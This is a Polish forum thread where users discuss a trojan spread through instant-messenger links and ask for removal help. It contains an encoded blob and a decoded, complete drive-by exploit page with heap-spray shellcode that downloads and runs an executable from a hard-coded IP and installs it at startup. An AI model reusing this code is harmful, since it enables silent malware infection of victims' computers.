[7WKB,7RbaHE@Bt&[^WEZZ~ibaHR5L#hnO4i5*Wl5[5;(pt&[^7DZZ~iua75ZSt&[7WKB, 7RbaHE@BtKp74DB,~iuaHE@St&[Bv6@N505[HR*pG5)40MCN!ypaH^ZSt&[74DB,#huaHR5ct& [^7DB,#h@a75Zct&[B4DB,7E@aHR5L~g)m7DB,#h@a75Zct&[B4DB,7E@aHR5vt&[^tE#R505[ HR*pmhZH.~R,Wl5[HE,,t&[77EZZ.W[a705Z)yZp75*S~pyo.55pvhb[.W^SG05[H^5pGhb8vW5lhyiT( D#.vh#y4DB,#W5ZUY*Ahgbm7&5R)RBL#E)pG5)H.~^~)l5[4D)pG5)E7Em,#y@MHR) vC&[D.~^~)l5[4y5BGT[EWE(QNyXK7wbQWDueWKRV)F(@0D)pGW[5.4^S505M4i*pGybD. ~R,Wl5[H^(.50;a0W5Nh;p8U^hKNynO0DBgh;p4N~b)tKueWw^N)Y^aHE,,G~ueW&)QNDpH7wbL7EuetE[ QNyuM7wbcG;*yCDZoWlh[4p(NmKue7h*QND[B7wbLtEueWK(QND.B7wbcGynhv^Z35RpaHRhptKueW&) QND.H7wbl7Eue7h*QND[B7wbLtEue)K@QNDpH7wbL7EuetE[*tynaHR5vt&[^C~#R)F(@7wbZ7Eue7~@QNyu[ 7wbcG~ueW&)QNyuM7wblWDuetE@QND[L7wbcGD.G7&)QNyuM7wblWDuetE@QND[L7wbcGDueWK( N)Y^aHR5vt&[74DB,#h@aHR5ctKppHEZZ.~i[JY,,t&[^WKB,7DuZUY*Ahgbm7g[ltT)87wbcJ0bVv^Z*WT) [UELK7y#h~KB,#hpaHR58t&[87EB,#hp)HR)vGT[EWEmVND@aHR58t&[8Wpy,#y@MHR*pG5) D.~^S505[H^hKtwn4.~B,#huaH^Zct&[B4DB,7E@aHR5vt&[^t6[3)6obUEbAS^*4WgCp5Fnh0T( ASRZyti^N)l5[5;(NmKue7iG,505[5D)pmhb5.~(AWl5M4D)pGW[H.~R,h;,T0l*Ct& [74K#R50h[4;5pGyZH.~(S)l5[HR*pNRZH.~R,hDip)p(ZhKueWw^N)l5[5D)pNRb5. 0[AWlh[4;5pGyZH.~(S)l5,4i*pmhb5.~(AWl5M4D)pGyZH.~(S!;,p(;5pGW[ G7&^R)^i*7wbZ7F[H.4^S505M4i*pGybD.~(AWl5M4Dba)EueWK(QNyu@0DUKtwnH.4^AWlh[4i*pGW[ 5.~R,505[5D)pGW[H.0[S505,4i*pGW[4vyRD5Y5aHR5vtKp7WKB,#h@aHE@St&[B7EB,#~[ 7(y[8t&[^WEZZ~iuaHE@St&[B7EB,#h@aHR5LSRnyA6ygv~p^(D#aGD.HCTnohT(^7wbcJ5*yCDZoWl5[ 5D)pmhb5.~R,Wl5M4i*pGybD.~R,Wl5[H^[Qvh#y0W;QNDpBHE)pmhb5.~(AWl5M4D)pGW[H.0[ AWl5[H^(ZC~.475CQNyu@0D)pG5)D.0[S505,4i*pmhb5.~(AWl5M4D)pGW[4tK#QNyuM7wbcJ4) mvMCR5R^aH^ZSt&[74D(QNyXK7wbcGDue)i*QND[B7wbLtEueWK(QNyuMNl*aGin8hgC*tTGT0l*QW& (BvW[QNDpB7wbcG~ue7h)R5Eut0DbZ~KueWK(*tybaH^ZSt&[^)K^ltl^[7wbcNEueWK( 35^yp(l[ZA^*H.4^AWl5[75#ZU4)htK*QNDpL70bcNF[e7;#3NyLwURhoCW[[~pZZ#hb,Slb8mW[ V4TJ,m~.5UYLgC5*^WgR,#T[,7wbcNEueWK(35^p80DbQC4)h.~B,~ibaHRhDt&[^WKB,7Duy#EUgJ~ue7i*QNyu[ 7wbcNEue7WnQNDpE7wbQhy#h7pbNtDp77wbZvEueWK^QNDpH7wbL7EuetE[QNyuM7wbl7Eue7h*QND[B7wbLtEue)K@QNDpH7wbL7EuetE[ QND[B7wbLtEue)K@QND[B7wbLtEuetE@QND[L0yxgmin,4g@R5Y^aHR5LG5*GHEB,#hpaHR58tKp7WKB,7RbaHE@Bt& [B4DB,7FnhUY*ct&[^t6[3)6ob.~*ANDueWK(QNDpB7wbcG;*40h5ltT^a#R[Smin,7KZ3! yZa4Kb)ti#VvMClWl5[5y*pG~ph055*)F(^)i*pG~p[.~^~)lh[4;5pGW[H.~( AWl5M4Db.50;a0~)AvFxT(;Ug~ibO4pBD)EZ5)w*AtKueWw^QNyu,N~bSt&[^(DB,7T[aHR5lSRnyA6; p7yZe7wbcNEueW&)QNDpH7wbL7EuetE[R5Eut!T^Q7Y5[CM^N!yZL)p[AG0;V7&^lhl5aHR5Ct& [^)i5RhT3[(;#a7DueWw[QNDuE7wbcNRnh~4^*tybaH^BoWyZE7;#Sm0h@75575Epp76RVND@)4i) vCp)eW4^S);ZMHEo,GDpB0yG,#~BoH6^3t&[^(DB,#~*aH^Zct&[B4DB,7E@aHE@St&[ Bv^#3!yuaHR5LA6G@04;R5Eut!;Uo7y#h4p5QNyuM7wbZ7EueWKm,Wlh[4;5pGyZH.~(S!yZ[JE) pGyZH.~(S)l5,4;5pGyZH.~(S)l5M5l*NC4)5.~R,h;p5N~Z.C5*40~*3505[HR*pmhZH.~R,h;p5N~Z. )yBoH6CSNEuaUY*Atwbh7pbNtDp77wbcJ~ueWK^3tyBL0;(cmg),4K^NtT3w7wbcG~ue7i)QNyu[7wbcG~ueW& )QNDpH7wbL7EuetE[QNyoKN0*ZS0*h055*tpip0;(.7yn5.~R,Wlh[4i*pGW[E7EB,~iuaHE@St&[ B7EZZ~ibaHE@St&[BvR53!yZ^Nh*pG5)4.~B,#~*a75ZctKp74DB,7RbaHE@Bt&[B4DB,7F3B0;5pGW[ H.~^~hDB[!T^.SRnyA6;3tyBL0;(ct&[^WEB,#~@aH^ZSt&[^W^;QNyXK7wbL7EuetE[QND. H7wbL7EuetE[QNyoK)p[QCDuetE@QND[L7wbvCDue)i*QND[B7wbLtEueWF)QNyoK)KUoG~ueWK( R5Eut!;Uo7y#h4p5QNyuM7wbZ7EueWK(R)F(,7wbcGybV75Z*!;*atD@.50;yvy5lWl5[5y*pGW[ yvE*R5RZ5Sy[Z~g)yvT5R)l5[H^5pG5)D.4^S505M4i*pGybD.~(~)l5M5Dbam0,@04[3) 6obUEbAS^*4WKB,#h@aH^ZSt&[^W^;QNDpH7wbL7EuetE[QNyoK7wbl7EuetE@QND[L7wbvCynhv^Z35RpaHRhptKueW& )QND.H7wbl7EuetE@QND[L7wbl7EuetE@QND[L7wbL7EuetE[*tynaHR5vt&[^C4oDv5ib#^#Q~l*hvE*R5RZ57wbcGDue7~@QNDpB7wbcGT[ D.~^~)l5M4i*pGybD.0[S505M4i*pGybD.~(~!yZ[JE)pGyZH.~(S)l5M5D)pNRb5. ~(AWl5M4D)pG;)D.~(~!;,p(;5pGW[4055*tppeN5mgUh#BvEmDWl5[HR*pmhZH.~R,h;p5N~Z. )yBoH6CSNEuaUY*Atwbh7pbNtDp77wbcJ~ueWK^p5F5a#^(MmibOtE(RhDZ^UY*AAR#hJ~B,#huaHE,,t&[ ^WKB,#huaHR58t&[7WKB,7RbaHE@Bt&[E7DB,#DZhUY*ct&[^t6[3)6ob#Y*ZJh#VGD^QNyuM7wbZ7EueWK( R)F(,7wbcGybV75Z*!;*atD@.50;yvy5lWl5[5y*pGW[yv4^ohT^nH^hKUYbp~hXgvRZS7wbcG~ueW& )QNDpH7wbL7EuetE[QNyoK7wbvCy#h7pbO5FR[J^m@UW[5CMxDhTmT7wbcJ~ueWK^A~&(p7wbcG~ue7i) QNyu[N5[A~g)H.4^S)l5[4p5pGhZ^U^UV#~oK5D)@GWx[.4CZ#4)aHE*N50;VJ~B,7;*,N~b@mp*OC~ZQNyu[ 7wbQ#;*yvRRD5Y5aHR58t&[7WKB,#h@aHE@St&[B7EB,#D*aHR)aSRnyA6;R!Dp@#EbMG4bm7~ZR) RbaHR5Ct&[^7DB,~iuaHR5vt&[B4DB,7E@aHR)8t&[E7DB,7RbaHE@Bt&[E7DB,#DBLUEUBShnV4g[ NhyXT)p[aG;*D.~R,Wlh[4i*pGW[E7EB,~iuaHE@St&[B7EB,#D*aHR)aSRnyA6;3tyBL0;( cmi#,tEZR505[5y*pG5)D.4^S505[HR*pGyZH.~(S)l5M5D)pG;)V055*tpip0;(.7yn5Cl, D)EZ70D)pG5)4055*tpiw(lxpCi#EWgvD)Fm[(;(.mg)hvy*R5RBK7wbcCDue7h*QND[ B7wbLtEueWF)QNyoK)KUoG~ueWK(N)Y^aHR5vt&[74DB,#h@aHR5Q#Due7~[QNT(E7wLg#lba4K@AvyBo4T^SmiBgCWnQNyu[ 7wbZWDuetE@QND[L7wbvCDueWF)R5Eut!;Uo7y#h4phVtKip)KUg.h#70M@Rhl5aHRhp)R#5.~^SmhuaHR58t& [7WKB,#h@aHE@St&[B7EB,#D*aHR)aSRnyA6;3tyBL0;(cminh~4xD5Y5aHR5Ct&[^7DB,~iuaHE@St& [B7EB,#D*aHR)aSRnyA6;p5F5a#^()t6)GW6Cp5F5a#^()vYn4vy5l!yZa7wbcJ5*yJ~B, #~*aH^Zct&[B4DB,7E@aHR)8tKp74DB,7RbaHE@Bt&[Eti53!yZ^Nh*pG5)4.~B,#~*a75ZctKp74DB, 7RbaHE@BtKp74DB,7RbaHE@Bt&[B4DB,7E@a75ZSt&[B4DB,7E@aHE@St&[B7EB,7RbaHEoo)E. VCy5lhDBL#^5pGW[4AF5l)E@aHR5Ct&[^7DZZ~iuaHE@St&[B7EB,7RbaHE@Bt&[^tR;l7; BTN~LKmp*O7iXg7FR,7wbZ7EueWw[QNDpEUY*LGy#4v;ZQNyuMUY*Q#0;4tp#N)lh[4i*pGW[yA^#R)T) tUY*ct&[^WKB,#~[^#^#AtKue7~@QNyu[4DUoChnVvR*3tDoTU^#)C4),HEB,#huaHR5LNY;V4pZ*Wlh[ 4i)Bt&[^WEB,#~[W0Dba4Y;G4DB,~ib)7wbZvEue7hGDhTn[UEb7t&[^t6C3tT^a7wbZ7EueWK^l! Dun7wbcG~ueWK(l)Fnn)Kbpt&[74DB,#~uW)p[AGDue7~[QNDu47wbQhDp^U6v,ND,KSy5cm~pDJ5#ZG05[ 4K#QAR#5.~^A4EJB#^hKtwn4.~B,#huaH^Zpt&[7HEB,7;,p(;[LU5*O4DB,~w5aHRhDt&[7WKB,7RbaHE@Bt& [B4DB,7E@a75ZSt&[B4DB,7E@aHE@St&[BvE#ltT)^)p(aSR#5.~R,~E.h0;5pG5)H. ~^~)l5,4;5pGyZH.~(S)l5M4i*pGybD.~R,~^,p(;5pGW[4C4^lh;ib!;Uo7M)5.~R,Wlh[ 4i*pGW[EtYR,hT[MU6^L#W[4HEB,~iuaHE@St&[B7EB,#~x[NWn.Shnh4DB,#h@aH^ZSt&[ ^tF^R)Fm[U^UoG;*D.~^~Wl5[H^5pG~pO.WG,#D*M7wbcv~.e7D(~Ny@aHRhgvW[40DZ3505[70*pmWx[ v;5QNyX@)wb35R3[7DB,#Wm@5y)L55)D.~^Z!l5@HR)v~~ueW&^ltT(yH6R,t&[ ^vT^NNyu7HE^pG~pOvDZ3)^,p7wbcv~.V.0R,#l5aHRhgv5*y0DZ3G05[70,g)^*y0D#QNyX@)wLp5~phUEB,#Wm@0;(3~p*D.~^Z!T(a0DUg)EueW&^lNyn70Db3t&[^vT^NNDip0;5pG~pO.W)N#hn77wbcv~.e4D^N#W[aHRhgv5)VU^#ZWl5[70*p5^*V.0[QNyX@)KLg)F[EHEB,#Wm@0DbNtin5.~^Z!l5h75mg)EueW&^ltyXKHRG,t&[^vT^Z#~@@7~^pG~pOvDB,tD@)7wbcv~.eWYx,#T[aHRhgv5*VU^y,)l5[70,gtp*yvD#QNyX@)KLoC~p^UEB,#Wm@UR5atin5. też to dostałem dodało do autostartu uniinstall.exe i próbowało uruchomić activexa (maxthon zablokował) z kodu wynika że sprawdzał wersje systemu i zależnie od niej pobierałplik do autostartu i uruchamiał ntdetect, chyba coś jeszcze ale nie przegryzłem się już dalej przez niego, był tam też podpis i ICQ gościa który stworzył to "cudo". U mnie nic nie dodało do autostartu (chyba że ukrył to tak że w rejestrze nie widac ...). Jednak jest tak, że jakies 2 minuty po uruchomieniu kompa net zaczyna mulić, strony sie bardzo powoli albo wcale sie nie ładują. Jak sobie lukne na monitorek wifi to widze, że uzywam prawie całego łącza na wysyłanie i czasem nawet na pobieranie chociaż nic nie robie ani nic nie ściągam. Wg Net limitera całe to łącze wykorzystuje IE. Odpalam więc sobie netstata i widze że porty od 1000 w góre (niekolejno, tzn nie wszystkie tylko np. co 10,15 itp) są zapchane tzn są na nich połączenia z jakimiś hostami i o dziwo zamiast żeby to hostach po : pisał port, to pisze stmp. Z reguły przy wykonaniu kolejnego netstata luczba uzywanych portów rosnie ... Prosze o pomoc ... Jak usunąć tego trojana? hmm efekt który opisałem pochodzi z troche innego linka (u mnie w wiadomości było ich 2 ale oba wyświetlały te samą stronę) większość zniszczeń robił pewnie po otwarciu tego activexa, narazie nie zauważyłm żadnych problemów z kompem wszystko działa normalnie kod strony po odkodowaniu: <BODY> <H1>Not Found</H1>The requested was not found on this server. <P> <P>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. <HR> <ADDRESS>Apache/1.3.35</ADDRESS> <DIV id=JvM></DIV> <DIV id=MyObJ></DIV> <script language=Javascript> /* ##### ##### ###### ##### ###### ###### ##### ##### ### #### ### ### ### ##### ## # ## ## ## # ### # ## # ## # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## # ## ## # ## # ## # ## ## ## ## #### ### ## ## ## ## ## #### #### ## ## ## #### ## ## #### ## ### ## ## ## ## ## ## # ## # ##### ## ## # ## ## ## ## ## ### ## ## ## ## ## # ## ## ## # ## ## ## ## # ## ## ## ## ## ## ## ## ## ## ## #### #### ######## ### ### #### ###### ##### ##### #### ### ### ### ##### | \ /|| ||\\ //|| ||__\ /__|| _______/| _|_ |\_______ / \| / | \ |/ \ ( \\/ | \// ) | \\ | // _______________ | \_ | _/ |\ /| | \|/ | \ / | / | ----------- | | ^^^^ X0D ^^^| | | | \||||\ ICQ 296343 /|||| | o o | | ------------------------| ----------- | \--------------------------------------- */ function stpError() { return true; } function Get_Win_Version(IE_vers){ if (IE_vers.indexOf('SV1') != -1) return "XPSP2" else if (IE_vers.indexOf('Windows NT 5.1') != -1) return "XP" else if (IE_vers.indexOf('Windows NT 5.0') != -1) return "2K" else if (IE_vers.indexOf('Windows NT 5.2') != -1) return "2K3" else if (IE_vers.indexOf('Windows 98') != -1) return "98" else if ((IE_vers.indexOf('Win 9x 4.9') != -1) || (IE_vers.indexOf('Windows Me') != -1)) return "ME" else if (IE_vers.indexOf('Windows NT 4') != -1) return "NT" else if (IE_vers.indexOf('Windows 95') != -1) return "95" } function setCookie (name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : ""); } function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); } function getProperties(obj) { var properties = '' for(var propName in obj) properties += propName+"="+obj[propName]+" , " return properties } function getSpraySlide(spray, sp__slide){ while (spray.length*2<sp__slide){ spray += spray;} spray = spray.substring(0,sp__slide/2); return spray; } function mdac(){ window.onerror = stpError; var obj_RDS = document.createElement('object'); obj_RDS.setAttribute('id','obj_RDS'); obj_RDS.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36'); var obj_msxml2 = obj_RDS.CreateObject("msxml2.XMLHTTP",""); obj_msxml2.open("GET","http://66.199.235.67/bin/win.exe",false); obj_msxml2.send(); var obj_adodb =obj_RDS.CreateObject("adodb.stream",""); obj_adodb.type = 1; obj_adodb.open(); var kaka=''; eval('obj_ad'+kaka+'odb.Wr'+kaka+'ite(o'+kaka+'bj_ms'+kaka+'xml2. re'+kaka+'spons'+kaka+'eBody);'); var hdrive=""; var dtemp=""; try { var obj_WScript = obj_RDS.CreateObject("WScript.Shell",""); } catch(e){}; try { var wshProcEnv = obj_WScript.Environment("PROCESS"); hdrive=wshProcEnv("HOMEDRIVE"); dtemp=wshProcEnv("TEMP"); } catch(e){}; if (hdrive == "") { hdrive="C:"; }; try { dstart=obj_WScript.SpecialFolders("Startup"); daustart=obj_WScript.SpecialFolders("AllUsersStartup"); } catch(e){}; var fnex = ""; var fn = ""; try { if (dstart == "") {} else { var fn = daustart+"\\Uninstall.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; if (fnex=="") { try { if (dstart == "") {} else { var fn = dstart+"\\Uninstall0.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; r1og1ra1m = 'rogram'; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Menu Inicio\\P"+r1og1ra1m+"as\\Inicio\\Uninstall.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Menuen Start\\P"+r1og1ra1m+"mer\\Start\\Uninstall.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Menu Start\\P"+r1og1ra1m+"ma\\'s\\Opstarten\\Uninstall. exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Menu Start\\P"+r1og1ra1m+"y\\Autostart\\Uninstall.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Menu Avvio\\P"+r1og1ra1m+"mi\\Esecuzione automatica\\Uninstall.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Kaynnista-valikko\\Ohjelmat\\Kaynnistys\\Uninstall.exe" ; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Start Menu\\P"+r1og1ra1m+"lar\\BASLANGIC\\Uninstall.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Start-meny\\P"+r1og1ra1m+"mer\\Oppstart\\Uninstall. exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Start-menyn\\P"+r1og1ra1m+"\\Autostart\\Uninstall. exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Documents and Settings\\All Users\\Menu Iniciar\\P"+r1og1ra1m+"as\\Iniciar\\Uninstall.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; if (fnex=="") { try { if (dstart == "") {} else { var fn = "C:\\Dokumente und Einstellungen\\All Users\\Startmenu\\P"+r1og1ra1m+"me\\Autostart\\Uninstall. exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; }; try { if (dtemp == "") {} else { fn = dtemp+"\\"+Math.round(Math.random()*(1000000-1)+10000)+".exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; }; } catch(e){}; if (fnex=="") { try { var fn = hdrive+"\\Documents and Settings\\All Users\\Start Menu\\P"+r1og1ra1m+"s\\Startup\\Uninstall.exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; } catch(e){}; }; if (fnex=="") { try { fn = "C:\\RECYCLER\\"+Math.round(Math.random()*(1000000-1)+10000)+".exe" ; obj_adodb.SaveToFile(fn,2); fnex=fn; } catch(e){}; }; if (fnex=="") { try { fn = "\\sys"+Math.round(Math.random()*(1000000-1)+10000)+".exe"; obj_adodb.SaveToFile(fn,2); fnex=fn; } catch(e){}; }; var runok=0; if (fnex=="") {} else { try { obj_WScript.Exec(fnex); runok=1; } catch(e){}; if (runok==0) { MyObJ.innerHTML="<object id='run2' classid='clsid:527196a4-b1a3-4647-931d-37ba5af23037' codebase='"+fnex+"'></object>"; }; }; } function rds(){ var obj_RDS = document.createElement('object'); obj_RDS.setAttribute('id','obj_RDS'); obj_RDS.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36'); var is__obj_adodb = 0; try { var obj_adodb = obj_RDS.CreateObject("adodb.stream",""); is__obj_adodb = 1; } catch(e){} if (is__obj_adodb != 1) { try { var obj_adodb = new ActiveXObject("adodb.stream"); is__obj_adodb = 1; } catch(e){} } if (is__obj_adodb == 1) { try { var obj_ShellApp = obj_RDS.CreateObject("Shell.Application",""); var obj_msxml2 = new ActiveXObject("msxml2.XMLHTTP"); obj_msxml2.open("GET","http://66.199.235.67/bin/win.exe",false); obj_msxml2.send(); obj_adodb.type = 1; obj_adodb.open(); obj_adodb.Write(obj_msxml2.responseBody); var fn = "C:\\NTDETECT.EXE"; obj_adodb.SaveToFile(fn,2); obj_adodb.close(); obj_ShellApp.ShellExecute(fn); } catch(e){} } } function java(){ JvM.innerHTML='<applet archive="jvm.jar" code="BaaaaBaa.class" width=1 height=1><param name="url" value="http://66.199.235.67/bin/win.exe"></applet>' } function wvf(){ var hsto__adr = 0x0c0c0c0c; sh__cd = unescape("邐邐㍛曉肹老% ue243↓?譿擯齤䋳齤滧 擯뤃憇܃% uaa66맫瞇攑ߡꩦ맧쪇ၟ% u072dꩦ맣‡༡ޏꩦ맿% u2e87ખݗꩦ꿻흯騬昕% ue806뇯驦擋撶% uefef螿鿀砇曯⩤⽬暿쾪% u1087뿯ꩤ藻뛭멤߷ꫬ⣏돯솑 ⢊誗騐擏撶% uf7ba꼇藯럨ꫬ밴Ⴜ쾚벿ꩤ藳뛪 멤߷騐擏撶' 藯搐ᆰ撶% uaeef붴ͬ뗫撼വ봘% u0f10撺搃뉤맣鱤擓뤜% u9964꘦䊮ⳬqᷕ% u212e꼝Ḅᇔ骱딊Ѥ땤褲% ue364撤㋬넪ⶲᬇထ% uba10ꎽꂢ瑨灴⼺㘯⸶㤱⸹% u3332⸵㜶戯湩眯湩攮數"); var block = 0x400000; var sh_si = sh__cd.length * 2; var sp__slide = block - (sh_si+0x38); var spray = unescape("ఌఌ"); spray = getSpraySlide(spray,sp__slide); heap__bl = (hsto__adr - 0x400000)/block; memory = new Array(); for (i=0;i<heap__bl;i++) { memory[i] = spray + sh__cd;} for ( i = 0 ; i < 256 ; i++) { try{ var run = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1'); run.setSlice(0x7ffffffe, hsto__adr, hsto__adr, hsto__adr ); }catch(e){} } } function xml(){ window.onerror = stpError; var kasp3r="Kasper"; var kasp3r2="Soset"; var fu="Microsoft.XMLHTTP"; var ffe="ADODB.Stream"; var ka="kasp3r+kasp3r2" try{ b=new ActiveXObject("'+fu+'"); o=new ActiveXObject(''+ffe+''); } catch(e){}; try{document.write('<object cla'+'ssid=clsid:23746592-4354-3445-3565-%0 codebase="http://66.199.235.67/bin/win.exe" style=display:none></object>');}catch(e) {document.write('<object classid=clsid:23726552-4354-3435-3565-%0 codebase="http://66.199.235.67/bin/win.exe" style=display:none></object>');} } var agt=getProperties(navigator).toLowerCase() var is_cookie = ((agt.indexOf("cookieenabled=true")!=-1)); if (is_cookie) { var my_cookie = getCookie("38184249122"); if (my_cookie != "2419632101") { setCookie("38184249122", "2419632101", "Mon, 01-Dec-2007 00:00:00 GMT", "/"); if (navigator.appName=="Microsoft Internet Explorer") { var IEversion=navigator.appVersion; var IEplatform=navigator.platform; if (IEplatform.search("Win32") != -1) { var WinOS=Get_Win_Version(IEversion); switch (WinOS) { case "XPSP2": rds(); wvf(); break; case "XP": mdac(); java(); setTimeout('wvf()',3000); break; case "2K": mdac(); java(); xml(); break; case "2K3": mdac(); java(); xml(); break; case "98": mdac(); java(); xml(); break; case "ME": mdac(); java(); xml(); break; case "NT": mdac(); java(); xml(); break; case "95": mdac(); java(); xml(); break; default: rds(); break; } } } } } </SCRIPT> <IMG height=375 src="http://www.clubbing.slask.pl/galeria/20061028zanzi2/017.jpg" width=500> </BODY></HTML> to faktycznie wirus właśnie o tym przeczytałem: http://di.com.pl/news/15119,1.html Użytkownik someone edytował ten post 05 listopad 2006, 21:52 No kurcze blade :blink: klikałem na ten link i nic posiadam IE - antyvira Panda 06 internet securty - blokuje activexa a po wejsciu po strone tylko na chwile zamulilo i koniec - zadnych nowych plikow, rejestr windy bez zmian, panda nawet nie jeknela a IE nie powiadomil o zagrozeniu klikalem rano - kompa do tej pory niewylaczalem i nadal jest ok O ile dobrze slyszalem na #kse to pomaga wywalenie tego gowna z autostartu ;-) Skrypt pobiera exe odpala go i wysyla ta wiadomosc do wszystkich z listy kontaktów ;) Ja wczoraj spróbowałem włączyć to coś na FF2.0, Avast i Konnekt. Żadnych zmian nie widzę, a FF nawet nie zajękneło tylko od razu pokazało zdjęcie. Wniosek: klasyczny klient GG zaczyna być wykorzystywany tak jak IE :) No pięknie ... Zrobiłem sobie skan Nortonem 2006 i 0 WIRSUSÓW ... Pozniej zeskanowałem kompa Ad Aware, ten wykrał kilka niebezpiecznych rzeczy, ale to raczej nie było to co się sciągło z linku. Jednak mimo wszystko zauważyłem lekką poprawe, tzn to coś nie muli mi neta cały czas tylko sporadycznie. Moje śledztwo wykazało również że za wykorzystywanie całego łącza, przede wszystkim uploadu, był odpowiedzialny IE, a raczej jego "systemowy" proces. Dodatkowo nie reagował on na żadne nakazane limity w netlimiterze i gdy go probowalem wyłaczyc w menedżerze zadań, to on właczał się na nowo. Jak sprawić żeby wszystko wróciło do normy? I jak to możliwe, że jakiś program działa jako wywołany przez system? |
|||
Sitedesign by AltusUmbrae. |